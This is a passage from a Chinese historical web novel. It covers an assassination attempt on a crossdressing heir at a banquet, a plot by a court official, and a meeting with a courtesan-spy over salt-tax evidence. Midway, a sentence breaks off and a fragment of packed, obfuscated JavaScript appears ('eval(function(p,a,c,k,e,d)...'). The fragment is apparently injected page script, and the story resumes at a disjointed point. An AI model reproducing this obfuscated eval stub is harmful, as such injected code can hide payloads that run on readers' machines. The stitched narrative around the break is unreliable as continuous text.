水榭临“照影池”而建,三面敞轩,以十二扇紫檀木嵌琉璃的屏风隔断,内里早已设下数十席。主位空悬,左右分列宗室、勋贵、文武官员。萧道煜位在左侧上首,与几位郡王并列。席面铺设极为讲究:紫檀木案几上摆着官窑青瓷酒具,银箸玉碗,当中一只鎏金香炉燃着上好的沉水香,青烟袅袅,与池畔飘来的牡丹花香混在一处,酿成一种奢靡又颓废的气息。 萨林按刀立于她身后阴影处,目光如炬,扫视着每一个进出水榭之人。他注意到,有几个官员的家眷席设在离主位极近处,其中便有吏部侍郎的夫人、大理寺少卿的妹妹,还有几位郡王府的侧妃。这些女眷个个妆容精致,衣着华贵,可眼神总忍不住往萧道煜身上瞟——那眼神里藏着好奇、探究,还有一丝说不清道不明的暧昧。 盛晚湘的席位设在萧道煜侧后方,与几位官员家眷同席。她入座时,周遭几位夫人眼神各异,有探究,有不屑,亦有艳羡。盛晚湘恍若未觉,只安静垂眸,替萧道煜布菜斟茶,动作娴熟自然,仿佛演练过千百遍。她执壶的手极稳,茶水不洒不溢,刚好七分满;夹菜时专拣清淡易消化的,避开油腻辛辣——这些都是萧道煜因着旧疾不宜多食的。 宴至半酣,丝竹声起。一班乐伎怀抱琵琶、箜篌,于水榭中央铺就的锦毯上奏起《春光好》。那曲子欢快明媚,如春鸟啼鸣,泉水叮咚。又有舞姬十数人,身着轻纱彩衣,随乐翩跹,长袖翻飞间暗香浮动。那些舞姬个个生得极美,腰肢柔软如柳,眼波流转似春水,可萧道煜的目光始终落在面前的杯盏上,仿佛满堂春色皆与她无关。 席间有人举杯敬酒,她以茶代酒回敬,言辞简短。有人谈及边关战事、江南盐政,她只静静听着,偶尔开口,寥寥数语便切中要害,令满座肃然——那些话锋利如刀,直指要害,却偏偏说得云淡风轻,更添几分威慑。 盛晚湘在侧,为她剥莲子、剔鱼刺,动作轻巧无声。偶尔抬头,与萧道煜目光相触,后者眼中会掠过一丝极淡的、近乎疲惫的柔和。这细微互动落入有心人眼中,又添几分遐想——都说世子冷血无情,可对这位盛姑娘,到底是不同的。 忽地,乐声一转,变为西域胡旋舞曲。鼓点急促,弦音激越,一队身着波斯金线舞衣的胡姬旋入场中。那些舞姬个个面覆轻纱,只露出一双媚眼,眼波流转间春意盎然。足踝金铃脆响,腰肢柔韧如蛇,旋转时彩裙飞扬,如盛开的罂粟花。 为首那舞姬尤其出众,身段窈窕,舞姿曼妙,一双琥珀色媚眼顾盼生辉。她旋至萧道煜席前,眼波流转间,竟直勾勾飘向萧道煜——那眼神不是寻常舞姬的魅惑,反而带着一种诡异的专注,仿佛在确认什么。 萨林肌肉骤然绷紧。他认得这种眼神——不是倾慕,是杀意。那是猎手锁定猎物时的眼神,他在战场上见过太多次。 几乎同时,那胡姬一个急旋,彩袖飞扬,袖中寒光乍现!一柄淬毒短刃如毒蛇吐信,在日光下泛着幽蓝光泽,直刺萧道煜心口! “世子爷!”盛晚湘失声惊呼,手中茶盏落地,碎瓷四溅。 电光石火间,萨林身形已如黑色闪电扑出。弯刀出鞘,带起一道凄厉破空声,“铛”地格开短刃!金铁交击之声刺耳,火星迸溅。那胡姬被震得连退三步,面纱滑落,露出一张汉人女子面容,眉间一点朱砂痣猩红如血。她眼中闪过惊愕——显然没料到萨林反应如此之快。 “白莲降世,诛杀妖孽!”女子厉喝一声,声音嘶哑如裂帛,与先前娇柔舞姿判若两人。袖中再出三枚铁蒺藜,分上中下三路射向萧道煜,那铁蒺藜边缘泛着幽蓝,显是涂了剧毒。 萧道煜竟仍端坐不动,只微微侧身,避开袭向面门那枚。另外两枚,一枚被她以手中银箸凌空击落,另一枚擦着她肩头飞过,“笃”地钉在身后柱子上,深入寸许。 此时园中大乱,女眷尖叫四散,桌椅倾倒,杯盘碎裂之声不绝于耳。侍卫蜂拥而入,刀剑出鞘,寒光凛冽。那刺客见一击不中,竟不退反进,五指成爪,指尖乌黑,直取萧道煜咽喉!那爪风凌厉,带着腥臭气息,显是淬了剧毒。 萨林怒喝,弯刀化作一片寒光将她逼退。两人在水榭中央缠斗,刀爪相交,火星迸溅。那女子武功诡谲,身形飘忽如鬼魅,招式阴毒狠辣,专攻要害,竟与萨林斗得旗鼓相当。她一边打一边厉声咒骂:“萧道煜!你萧氏一族屠我僰人七万,血债终须血偿!今日便是你的死期!” 萧道煜缓缓起身,拾起桌上一根银箸,在指间转了转。她面色依旧苍白,神情却平静得可怕,仿佛眼前生死搏杀不过是场戏。她目光扫过混乱的宴席,看见盛晚湘被侍女护着退到柱后,脸色煞白,手指紧紧攥着衣襟;看见赵怀瑾瘫坐在地,□□湿了一片,浑身抖如筛糠;看见陈显蓉被丫鬟拉扯着躲向屏风后,目光却仍死死盯着自己,那眼神复杂极了,恐惧中竟掺杂着一丝诡异的兴奋——仿佛这场刺杀,在她眼中竟是场精彩的戏码。 她忽然轻笑一声。 笑声不高,却奇异地压过满场嘈杂。那刺客闻声动作一滞,仿佛被这笑声刺痛了耳膜。萨林抓住破绽,一刀劈向她肩胛!血光迸现,女子闷哼倒地,肩骨碎裂之声清晰可闻。她还欲挣扎,却被随后赶上的黑鳞卫死死按住,铁链加身,动弹不得。 萧道煜踱步至她面前,俯身,以银箸挑起她下巴。四目相对,女子眼中恨意滔天,几欲喷火:“狗贼!你不得好死!白莲圣教必会将你碎尸万段!” “僰人?”萧道煜微微挑眉,银箸滑至她眉间朱砂痣,轻轻一点,“这点朱砂,是‘血咒’印记罢。听说僰人女子为复仇,会以心头血点朱砂,立誓不死不休。”她顿了顿,声音更冷,“白莲教何时与僰人遗孤勾结了?还是说,你们本就是一路货色?” 女子瞳孔骤缩,嘴唇颤抖,却咬紧牙关不再言语。 萧道煜直起身,将沾了血的银箸随手掷入池中。“噗通”一声轻响,银箸沉入碧水,很快不见了踪影。“押回诏狱,好生审问。”声音平静无波,仿佛方才生死一线不过寻常小事,“记住,吾要活的。死了,你们提头来见。” “是!”黑鳞卫齐声应道,声震屋瓦。 萨林收刀归鞘,回到她身后,肩背肌肉仍紧绷如铁。他低头,看见萧道煜垂在身侧的手,指尖正微微颤抖——不是恐惧,是旧疾发作的征兆。那颤抖极细微,若非他日夜跟随,绝难察觉。他心中一紧,低声道:“世子……” 萧道煜摆摆手,转身看向惊魂未定的众人。满堂狼藉,酒菜洒了一地,桌椅东倒西歪,几位胆小的女眷还在啜泣。她唇角勾起一抹讥诮弧度,声音不大,却清晰地传入每个人耳中:“让诸位受惊了。刺客已擒,宴席继续。”言罢,竟真的施施然坐回席上,端起那杯早已凉透的茶,轻抿一口,仿佛刚才那场刺杀不过是段无关紧要的插曲。 满座鸦雀无声。所有人都怔怔看着她,仿佛在看一个怪物——哪有人刚经历刺杀,还能如此镇定自若? 镇国公赵穆颤巍巍起身,须发皆白的老脸上满是惶恐,拱手道:“老臣治家不严,竟让贼人混入,罪该万死……请世子降罪!” “与国公无关,”萧道煜打断他,目光掠过席间每一张脸——那些脸上有恐惧,有震惊,有算计,有幸灾乐祸,“白莲教无孔不入,今日是栖鹤苑,明日或许是朝会,后日或许是诸位的府邸。”她顿了顿,声音更冷,“诸位大人日后出入,还需多带些护卫才是。毕竟,刀剑无眼。” 这话意味深长,众人皆脊背发凉。是啊,今日刺客能混进镇国公府,明日就能混进自家府邸。而萧道煜方才展现的身手与镇定,更让他们心惊——这位世子,远比传闻中更难对付。 盛晚湘此时已缓过神,重新为萧道煜斟上热茶。她手指仍有些抖,茶水洒出几滴,落在紫檀木案几上,晕开深色水痕。萧道煜抬手,轻轻覆在她手背上。 那手冰凉刺骨,盛晚湘却觉一股暖意自相触处蔓延开来——不是温度,而是一种奇异的安定感。她抬眸,对上萧道煜的眼睛——金瞳深处,有疲惫,有痛楚,还有一种近乎慈悲的洞彻,仿佛看穿了这满堂虚伪繁华,直抵人心最暗处。 “怕么?”萧道煜低声问,声音只有两人能听见。 盛晚湘摇头,轻声道:“有世子爷在,妾不怕。”这话半真半假——不怕是假,可看见萧道煜方才那般镇定,心底那份恐慌确实淡了许多。她忽然想起那日在醉仙阁听雪阁,萧道煜对她说的话:“这世道,怕是最没用的东西。” 萧道煜笑了笑,那笑容极淡,转瞬即逝,如昙花一现。她收回手,看向水榭外满园牡丹。春光依旧明媚,花香依旧馥郁,只是那姚黄魏紫间,仿佛都染上了一层血色——那是方才刺客肩头溅出的血,点点滴滴洒在花瓣上,在日光下泛着暗红光泽。 宴席草草收场。出了这样的事,谁还有心思赏花饮酒?宾客们纷纷告辞,个个面色仓皇,仿佛身后有鬼追着。镇国公府上下忙得人仰马翻,既要送客,又要收拾残局,还要应付闻讯赶来的顺天府衙役——虽然黑鳞卫已接手此案,可面上的功夫总要做足。 萧道煜起身离席时,萨林注意到,她下腹处官袍微微紧绷——那是石瘕疼痛发作时,不自觉的蜷缩姿态。她走路比来时更慢,每一步都似踩在刀尖上,额角沁出细密冷汗,在苍白皮肤上格外醒目。 萨林心头一紧,仿佛被一只无形的手攥住。他正要下令疾行回府,却听萧道煜道:“去倚红楼。” 那巷子狭窄幽深,青石板路年久失修,缝隙里长满青苔。两旁是高耸的院墙,墙头探出几枝晚开的桃花,在暮色里显得凄凄惶惶。白日里尚且安静,一到夜晚便灯火辉煌,笙歌四起。可此时天色未全黑,楼里只有零星灯火,显得格外冷清。 萨林按刀立于暗处,看着那抹绯色身影在盛晚湘搀扶下步入小楼。萧道煜的脚步虚浮得厉害,几乎半个人都靠在盛晚湘身上。暮色里,她苍白的面容近乎透明,唇色淡得几乎看不见,唯有一双金瞳,在渐浓的夜色里亮得惊人,如将熄的烛火最后的光芒。 楼内很快亮起灯火,是三楼最深处那间“听雪阁”。窗纸上映出两个纤细身影,相对而坐,低声絮语。萨林听不见她们在说什么,只能看见影子偶尔晃动,其中一个时常掩口咳嗽,肩背颤动如风中残叶。 夜风拂过,带来楼内隐约药香,混着沉水香与茉莉头油的甜腻气息。 他想,世子疼的时候,从来不肯喊出声。就像她这一生,再苦再难,也只会咬牙吞下,然后挺直脊梁,继续做那个冷血无情的“玉面罗刹”。可她的脊梁,早已被病痛与秘密压得快要断了。 可是玉娘啊……他在心底唤那个只有他知道的名字,那个被深埋了二十年的、属于女子的名字。你累不累?疼不疼?有没有那么一刻,想抛开这一切,只做你自己? 无人应答。只有夜风呜咽,如泣如诉。 楼内,烛火摇曳。 听雪阁临着一池碧水,窗外是几株老梅,此时早已过了花期,唯见青碧枝叶在夜风里沙沙作响。屋内陈设雅致,紫檀木家具泛着幽光,多宝阁上摆着古玩玉器,墙上挂着名家字画,处处透着书卷气,不像青楼,倒像书香门第的书斋。 盛晚湘正以温热的帕子为萧道煜擦拭唇边血迹。那血暗红发黑,落在雪白帕子上触目惊心。她手抖得厉害,几乎握不住帕子,眼泪在眼眶里打转,却强忍着不让它落下来。 “今日刺客,是冲着我来的。”萧道煜靠在软枕上,双目微阖,声音虚弱如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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盛晚湘泣不成声,伏在她膝上,肩背颤动如秋风中的落叶。萧道煜低头看着她,眼中闪过复杂神色——有怜悯,有歉疚,也有一丝连自己都不愿承认的依赖。在这冰冷虚伪的世上,盛晚湘是少数几个见过她脆弱一面的人。虽然她们之间始终隔着一层利用与算计,可这虚假的温情,竟也成了她苟延残喘的一点慰藉。 “别哭了。”她轻声道,手指无意识地摩挲着盛晚湘的发丝,“哭有什么用?这世道,眼泪是最不值钱的东西。” 盛晚湘抬起头,泪眼朦胧地看着她:“世子……妾愿意一直陪着您,无论生死。” 萧道煜笑了笑,那笑容苍白而破碎:“傻话。”。 “世子先歇歇罢,”盛晚湘擦干眼泪,重新为萧道煜斟了杯热茶,“妾去煎药。” 萧道煜点点头,看着她的背影消失在屏风后。屋内只剩她一人,烛火在夜风里摇曳,将她的影子拉得忽长忽短,鬼魅般投在墙上。 她从袖中取出一个小瓷瓶,倒出一粒药丸吞下。斐兰度配的镇痛药,药效猛烈,伤身至极,可她已经顾不上了。药丸入喉,苦涩的味道在口腔里弥漫开,过了一会儿,痛楚果然减轻了些,可随之而来的是一阵眩晕,视线开始模糊。 这些年,她手上沾了多少血?诏狱里那些惨叫声,刑场上滚落的人头,边关堆积如山的尸体……她都记不清了。有时候午夜梦回,她会梦见那些死去的人,一个个睁着血红的眼睛盯着她,质问她为什么。 为什么?她也想问为什么。为什么偏偏是她?为什么要背负这样的秘密,这样的罪孽? 没有答案。这世道从不给人答案,只给人结果。 窗外传来更鼓声,三更了。 萧道煜闭上眼,疲惫如潮水般涌来,将她淹没。在彻底失去意识前,她仿佛听见一个声音在耳边低语,温柔而哀伤: “阿姐,睡罢。睡着了,就不疼了。” 楼外,萨林依旧伫立在暗影里,如一座沉默的雕塑。夜更深了,倚红楼渐渐热闹起来,丝竹声,调笑声,杯盘碰撞声,从楼里隐隐传来,与这后巷的死寂形成鲜明对比。三楼的灯火始终亮着,窗纸上那个纤细的身影时而坐着,时而走动,时而又俯身似在照料什么。 萨林仰头望着那扇窗,幽绿瞳孔里映出跳跃的烛火。 烛火忽然灭了。 萨林猛地回神,看见三楼那扇窗暗了下去。夜更深了,万籁俱寂,只有远处传来隐约的打更声。他依旧站在原地,一动不动,仿佛要站到地老天荒。 他想,世子疼的时候,从来不肯喊出声。可他知道她疼,每时每刻都在疼。身体疼,心里更疼。可他什么都做不了,只能这样远远守着,像个可笑的影子。 夜风吹过,带来寒意。萨林握紧刀柄,指节泛白。 至少,他还能守护她。在她死之前,他会一直守在她身边。这是他的宿命,也是他唯一能做的事。 夜色如墨,吞没所有低语与算计。 而在京城另一处深宅内,有人正对着一盏孤灯,摩挲着一枚火焰形状的令牌。那令牌是青铜所铸,边缘已经磨损,显是有些年头了。正面刻着一朵莲花,背面是诡秘的符文,在烛光下泛着幽暗的光。 “失败了?”一个低沉的声音在阴影里响起。 摩挲令牌的人抬起头,露出一张中年男子的脸——面容普通,唯有一双眼精光内敛,透着久居上位的威严。若是萧道煜在此,定能认出,这是吏部左侍郎董其昌 ,朝中有名的清流领袖,也是永熙帝的心腹之一。 “是。”阴影里的人低声道,“那萨林反应太快,武功也远超预料。我们的人……折了。” 董其昌沉默片刻,将令牌放在桌上:“无妨。本就是试探。” “可他是忠顺王世子,又是北镇抚司镇抚使,动他……” “所以才要借白莲教的手。”董其昌打断他,眼中闪过厉色,“记住,这件事与我们无关。是白莲教余孽报复,是僰人遗孤寻仇。明白吗?” “明白。” “下去罢。继续盯着,有机会再动手。” 阴影里的人躬身退下,消失在夜色里。董其昌独自坐在灯下,又拿起那枚令牌,指尖摩挲着上面的莲花纹路。烛火在他脸上跳跃,投下明明灭灭的光影,让那张原本端正的脸显得有几分狰狞。 窗外,一轮残月隐入云层,夜色如墨,吞没所有低语与算计。 而这场戏,才刚刚开始。 翌日,赏花宴上的事便在京城传开了。 有人说忠顺王世子临危不惧,护着美人从容退敌;更有人说,是白莲教余孽报复,京城要不太平了;还有人说,看见世子咳血,怕是旧疾复发,命不久矣…… 这些流言传到萧道煜耳中时,她正坐在北镇抚司值房里,审阅扬州盐案的卷宗。晨光从窗棂漏进来,在她苍白的面容上投下斑驳光影。她眼下有浓重的青影,显是一夜未眠。桌上除了堆积如山的卷宗,还放着那枚从刺客身上搜出的木牌,上头诡秘的符文在晨光下泛着幽暗的光。 伊凡说完昨日宴上的种种议论,小心翼翼地看着她:“世子,可要……” “不必理会。”萧道煜头也不抬,笔尖在纸上划过,发出沙沙声响,“倒是白莲教的事,查得如何了?” “已有些眉目。”伊凡低声道,声音带着惯有的恭顺,“那些刺客在城西有处落脚点,属下带人查过了,找到些书信,用的都是暗语,正在破译。另外……在屋里找到半截香,是江南特产的‘迷魂香’,能致人幻觉,用量多了还能操控心神。” 萧道煜笔下顿了顿:“江南?” “是。”伊凡点头,从袖中取出一小截残香,放在桌上。那香呈暗红色,散发着一股甜腻又诡异的气息,“而且属下去查了靖海侯近日的行踪,发现他半月前曾密会过都转运盐使沈济川。” 沈济川。 又是这个名字。 萧道煜放下笔,拿起那枚木牌,在指尖翻转。晨光在符文上跳动,白莲教,江南,盐案,刺杀……这些看似不相干的事,背后是否有着千丝万缕的联系?还是说,有人故意将这些线索抛出来,引她入局? 她想起太上皇的话:“江南官场,盘根错节,牵一发而动全身。道煜啊,你虽是朕的孙儿,可这刀砍下去,伤的可不止是贪官污吏。” 也想起永熙帝的眼神——深沉,疲惫,还有隐隐的期待。那期待不是对她这个人,而是对她这把刀。一把好用,锋利,且用完了可以随时丢弃的刀。 这把刀,终究是要砍下去的。砍向谁,砍多深,却由不得她。 “继续查。”她冷声道,声音里透着彻骨的寒意,“白莲教,盐案,还有沈济川——我要知道他们之间所有的关联。三日之内,我要看到结果。” “是。”伊凡应声退下,脚步轻悄如猫,消失在门外。 值房里又只剩萧道煜一人。她走到窗前,推开窗。春晨的凉风灌进来,带着露水与花草的清新气息,冲淡了屋内的沉水香与药味。远处,宫城的飞檐在晨光下泛着冷硬的金光,那巍峨的轮廓仿佛一只蛰伏的巨兽,随时可能张开血盆大口。 那里面,有皇帝,有太上皇,有无数算计,无数阴谋。而她,不过是他们手中的一把刀。一把用完了,就该扔了的刀。 可在那之前,她还要砍,还要杀,还要把这污浊的世道,撕开一道口子。 让阳光照进来。 哪怕只是刹那。 也足够了。 窗外,晨光正好。 杏花谢了,桃花又开。 一季又一季,一年又一年。 这京城的风月,这王朝的兴衰,这人生的悲欢…… 都在继续。 永不停止。 就像她这场戏,还要演下去。 演到死为止。 萧道煜闭上眼,深深吸了口气。晨风拂过她的面颊,带着春日的暖意,可她却觉得浑身发冷,从骨头缝里透出来的冷。 她想起昨夜盛晚湘的眼泪,想起萨林眼中的担忧,想起伊凡恭顺表面下深藏的算计……这世上,谁是真的?谁是假的?谁在利用她?谁又在乎她? 或许都不重要了。 她睁开眼,金瞳在晨光下亮得惊人,如淬火的刀锋。 该上朝了。 戏,还得继续演。 5. 第 5 章 杨柳抽了新绿,桃花也开了几枝,在护城河畔、官道两旁娉娉婷婷地立着,风一过,便簌簌地落下一阵胭脂雨。那暖意原是融融的,可一到了荷花巷,却染上了另一番味道——那是脂粉香、酒香、男男女女暖昧笑语混合成的,浮华而颓靡的气息,稠得化不开,黏在春衫上,三日都散不尽。 醉仙楼是荷花巷最大的酒楼,临着一湾活水而建,三层木楼飞檐翘角,白日里歇着,只几个粗使婆子洒扫庭除;一到华灯初上,便笙歌四起,车马盈门,成了京城最热闹的销金窟。楼前挂着两排羊角灯,罩着茜红纱罩,照得门前青石板路一片暖融融的红,连檐下燕子窝里新孵的雏燕啁啾声,都似沾了三分酒意。 揽月阁在醉仙楼三楼最深处,窗子临着一池碧水。那池子不大,却引了活水,清可见底,几尾锦鲤悠游其间。窗外原植着数株老梅,此时花期已过,只剩些残蕊颤巍巍挂在枝头,风一过,便簌簌落在水面上,漾开圈圈涟漪,倒也应了“听雪”的雅名——无雪可听,唯有残梅落水的轻响,如碎玉投冰。 申时三刻,日头西斜,将醉仙楼的影儿拉得老长,斜斜投在对街粉墙上。一乘青帏小轿悄没声息地停在楼后角门,轿帘掀起,先探出一只皂色官靴,踏在青石板上,无声无息。 萧道煜今日未着官袍,只穿一身石青色暗纹直裰,外罩玄色薄绸披风,墨发以一根羊脂玉簪松松绾着,几缕碎发散在颊边。她面色依旧苍白,唇色浅淡,唯有一双琥珀金瞳在暮色里亮得惊人,如深潭寒水映着将熄的晚霞。 引路的龟公是个机灵人,唤作李四,在醉仙楼做了十几年,最是会看眼色。他一路垂着头,不敢多看一眼,只恭恭敬敬将她引到揽月阁门口,便躬身退下了,连呼吸都放得极轻,仿佛怕惊扰了什么。 萧道煜推门而入。 屋里暖香扑面,是上等的沉水香,混着一丝极淡的茉莉头油香——那是盛晚湘惯用的。窗边软榻上,坐着个女子,正低头抚琴。一身素白绣折枝玉兰的襦裙,外罩藕荷色缠枝莲纹比甲,发髻松松绾成堕马髻,只簪一支白玉莲花簪,耳坠明月珰,通身上下无半点艳色,却自有一股清冷绝俗的气韵,如空谷幽兰,遗世独立。 琴是蕉叶式古琴,桐木胎,螺钿徽,尾端刻着小小的“清韵”二字。盛晚湘素手轻拨,正弹着一曲《梅花三弄》,琴音清越,如冰泉漱石,在这暖阁里悠悠荡开,竟将那沉水香的甜腻冲淡了几分。 听见动静,她抬起头。 四目相对。 盛晚湘指尖在弦上轻轻一按,余音袅袅。她站起身,福了一福,声音温软如江南春水:“世子爷。” 萧道煜点点头,在榻另一侧坐下。萨林守在门外,门虚掩着,只留一道缝隙,他高大的身影投在门纸上,如一座沉默的山。 “盛姑娘久等了。”萧道煜开口,声音透过面纱,显得有些闷,却依旧清冽。 “妾身也是刚到。”盛晚湘重新坐下,素手提起案上紫砂壶,斟了两杯茶。那手生得极美,五指纤长如葱管,指甲染着淡粉蔻丹,在白玉杯盏的映衬下,越发显得柔若无骨。斟茶时手腕微倾,露出一截皓腕,羊脂玉镯滑下来,温润如水。 茶是上好的明前龙井,翠绿的芽叶在杯中徐徐舒展,如雀舌含珠,香气清雅,带着雨后春山的鲜润。萧道煜却没动,只看着盛晚湘:“东西带来了?” 盛晚湘从袖中取出一个锦囊,那锦囊是藕荷色云锦所制,绣着缠枝莲暗纹,角上缀着一粒小小的珍珠。她将锦囊放在桌上,轻轻推过去:“都在里头了。扬州盐课司近三年的账目,还有收受贿赂的明细,人证、物证、时间、地点,都列清楚了。” 萧道煜拿起锦囊,解开丝绦,抽出里面一叠信笺。纸是上好的薛涛笺,染着淡淡的桃红色,字迹娟秀工整,一笔一画都透着小心,显是誊抄时屏息凝神,生怕错漏一字。她快速浏览着,目光在几个名字上停留片刻,唇角勾起一丝冰冷的弧度。 萧道煜抬眼看向她。 烛光下,这女子生得极美,柳眉杏眼,雪肤乌发,尤其一双眼睛,清澈得像秋日的湖水,可细看下去,却又深不见底,仿佛藏着万千心事。她在风月场中周旋多年,早已练就了一身本事——知道什么时候该笑,什么时候该哭,什么时候该沉默,什么时候该说话。那一颦一笑,一嗔一喜,都拿捏得恰到好处,多一分则媚,少一分则冷。 可萧道煜看得明白,那眼底深处,有一丝挥之不去的疲惫与苍凉。那是经了家破人亡、沦落风尘后,刻在骨子里的印记,任是再精致的妆容,再完美的笑容,也掩盖不住。 苏州盛家嫡女,书香门第,十一岁家破人亡,女眷没入教坊司。从千金小姐到头牌行首,从云端跌入泥淖,她不但活了下来,还在京城站稳了脚跟,成了北镇抚司最得力的密探之。 她重新抚琴,这次弹的是《平沙落雁》,曲调悠远苍凉,如秋日长空雁阵南飞,声声哀鸣散入暮云。这曲子倒衬得暖阁里的沉水香有些腻了,那甜暖的气息裹着苍凉琴音,竟生出一种诡异的和谐。 萧道煜靠在榻上,闭目养神。 腹中旧疾又开始隐隐作痛,像有只手在里头攥着,一下一下地拧,从下腹直窜到心口。石瘕越长越大,终有一日会撑破胞宫,届时血崩如注,便是华佗再世也难救。 可她能不操劳吗?能不忧思吗? 这北镇抚司的位子,这世子的身份,就像一副沉重的枷锁,将她牢牢锁住,动弹不得。白日要审案断狱,夜里要批阅文书,还要周旋于皇帝、太上皇、忠顺王之间,每一步都如履薄冰。有时候她甚至觉得,自己就像戏台上的傀儡,线牵在别人手里,唱念做打都由不得自己。 琴声渐止,余韵在暖阁里悠悠荡开,最后消散在沉水香的甜腻里。 “世子爷,”盛晚湘轻声开口,打破了寂静,“妾身还有一事。” 萧道煜睁开眼,金瞳在烛光下流转:“说。” “杨家……”盛晚湘声音低下来,指尖无意识地摩挲着琴弦,“杨廷鹤老大人……近来可好?” 萧道煜看着她,眼中闪过一丝了然。 她记得,盛晚湘与杨明远曾有过婚约,青梅竹马,两小无猜。若不是盛家出事,两人本该是郎才女貌、佳偶天成。可命运弄人,一道圣旨,盛家男丁斩首,女眷没入教坊司,那段姻缘便如镜花水月,碎得干干净净。 “杨老大人很好,”萧道煜缓缓道,声音听不出情绪,“只是朝中局势复杂,杨家树大招风,难免有人眼红。前些日子还有人弹劾杨老大人结党营私,虽被陛下压下了,可终究是桩心事。” 盛晚湘抿了抿唇,那淡粉的唇瓣被咬得泛白:“那……杨公子呢?” “杨明远?”萧道煜唇角微勾,那笑意带着几分讥诮,几分玩味,“盛姑娘倒是念旧。” 这话像一根细针,轻轻扎在盛晚湘心上。她脸上闪过一丝难堪,却很快恢复如常,只垂着眼帘,声音平静:“不过是随口一问。世子爷若不愿说,便当妾身没问。” 萧道煜看着她强装镇定的模样,忽然想起那日在永安伯府寿宴上,杨明远温润如玉的样子。那年轻人穿着一身月白直裰,立在满堂锦绣中,如青竹立于艳丛,清贵而疏离。他施粥济民,与饥民说话时眼中是真切的悲悯,那悲悯不是高高在上的施舍,而是感同身受的痛楚。 那样的人,与眼前这个风尘女子,本该是云泥之别。 可命运偏偏将他们扯到一起,又狠狠撕开。 “杨明远很好,”萧道煜淡淡道,端起那杯早已凉透的龙井,轻抿一口,苦涩在舌尖蔓延,“前日还在大觉寺施粥,救济饥民。京城里都说,杨公子仁善,不愧是清流之后。” 盛晚湘低下头,许久,轻声说:“那就好。” 两个字,轻得像叹息,却藏着千斤重的情意,十年未断的牵挂,还有深埋心底、不敢言说的愧与痛。 萧道煜看着她低垂的侧脸,烛光在那白皙肌肤上投下浅浅阴影,长睫如蝶翼般轻颤。她忽然有些恍惚,想起母亲李氏,想起那个雨夜,想起二十年来无数个伪装的日子。这世间的女子,似乎都逃不过一个“情”字。可情字伤人,情深不寿。母亲为家族利益,将她扮作男儿;盛晚湘为旧日情缘,十年不忘;而她萧道煜……她有情吗?她敢有情吗? “盛姑娘,”她忽然问,声音里带着一丝罕见的、连自己都未察觉的迷茫,“若给你重来一次的机会,你还会选择进北镇抚司,做这些事吗?” 盛晚湘怔了怔,抬头看她,眼中闪过刹那的迷茫,如雾锁春江。 但很快,那迷茫被一种近乎冷酷的清醒取代。她笑了笑,那笑苍白而破碎,如冬日残荷:“会。” 声音平静,却字字如铁:“因为妾身没有选择。盛家倒的那天,妾身就明白了,这世上没有如果,只有结果。妾身要活着,要护着该护的人,就只能走这条路。北镇抚司的密探,倚红楼的行首——这些身份再不堪,也比教坊司里任人践踏的乐籍强。至少……至少妾身还能有些用处,还能换来一线生机。” 萧道煜沉默片刻,点点头:“你说得对。” 没有如果,只有结果。 就像她,没有如果她是男子,没有如果她是女子,只有她是“世子”这个结果。这个结果,是她从出生那刻起就被钉死的命运,挣扎不得,反抗不得,只能承受。 窗外的天渐渐暗了,暮色像潮水一样涌进来,将揽月阁染成一片昏黄。远处传来丝竹声,还有男女调笑,莺声燕语,将这暮色衬得越发颓靡。一如这京城无数个夜晚,华灯初上,笙歌再起。 萧道煜站起身:“我该走了。” 腹中的痛楚越来越烈,她必须回去服药。斐兰度配的药虽伤身,却能镇痛,至少能让她撑过今夜。 盛晚湘也起身,福了一福:“世子爷慢走。” 走到门口,萧道煜停下脚步,手搭在门扉上,却没推开。她回头看了盛晚湘一眼。那女子站在暮色里,一身素衣,眉眼低垂,像一株开在暗处的玉兰,安静,清冷,却自有风骨。烛火在她身后跳跃,将影子投在墙上,单薄得仿佛风一吹就会散。 “盛姑娘,”她忽然说,声音轻得像自语,“杨明远每月初七,都会去大觉寺施粥。你若想见他,那日去便是。” 盛晚湘浑身一震,猛地抬头,眼中闪过惊愕、慌乱,还有一丝不敢置信的希冀,如死灰复燃,星火乍现。 萧道煜却没再说什么,推门而出。 门关上了,将一室暮色,和一个怔怔站立的女子,关在了身后。 走廊里灯火通明,照得她一身石青直裰泛着冷光。萨林跟在她身后,步伐沉稳,如影随形。下楼时,遇见几个醉醺醺的客人,一见萧道煜,酒醒了大半,慌忙避让。她目不斜视,径直走出醉仙楼。 门外,暮色已浓。荷花巷的灯笼一盏盏亮起来,暖黄的光晕染开,将整条街照得如梦似幻。丝竹声、笑语声、杯盘碰撞声,从各家青楼妓馆里飘出来,混成一片暖昧的喧哗。 萧道煜上了轿,帘子放下,隔绝了外界所有声响。轿子起行,晃晃悠悠,她靠在轿壁上,闭上眼,手按在小腹上。 疼。 针扎似的疼,一下一下,绵密不绝。她额上沁出冷汗,顺着苍白的脸颊滑下来,滴在衣襟上。她咬紧牙关,没出声,只从袖中取出一个小瓷瓶,倒出一粒药丸吞下。药丸苦涩,顺着喉咙滑下去,过了一会儿,痛楚才渐渐缓解,可随之而来的是一阵眩晕,眼前发黑。 她想起盛晚湘方才的眼神。 那眼神太复杂,有希冀,有恐惧,有深埋十年的情意,还有认命般的绝望。她想,这世间的女子,为何总是为情所困?母亲困于家族利益,盛晚湘困于旧日情缘,而她……她困于什么? 她不知道。 轿子晃晃悠悠,像摇篮,她竟有些昏昏欲睡。恍惚间,仿佛回到很多年前,她还是个小女孩,穿着女装,在花园里扑蝴蝶。阳光很好,花香很甜,母亲还没把她扮作男儿,父亲还没那么冷漠…… “世子,到了。” 萨林的声音在轿外响起。 萧道煜睁开眼,眼底一片清明,方才的恍惚如潮水般退去。她掀帘下轿,眼前是忠顺王府的朱红大门,檐下挂着两盏气死风灯,在夜风里轻轻摇晃。 戏,还得演。 她挺直脊背,一步步走进那扇门。 却说四月初七这日,天色晴好。大觉寺在西郊,背靠西山,前临清河,是个清幽的所在。寺中古木参天,尤其几株千年柏树,枝干虬结,苍翠如盖,投下大片荫凉。晨钟暮鼓,香火缭绕,与山外的红尘喧嚣恍如两个世界。 杨明远一早便带着书童砚台和几个家仆,在大觉寺山门外支起了粥棚。几口大铁锅架在临时砌的灶上,里头熬着稠稠的米粥,米是上好的粳米,熬得开了花,热气腾腾,香气四溢。另有一锅咸菜,一筐炊饼,虽简陋,却也能果腹。 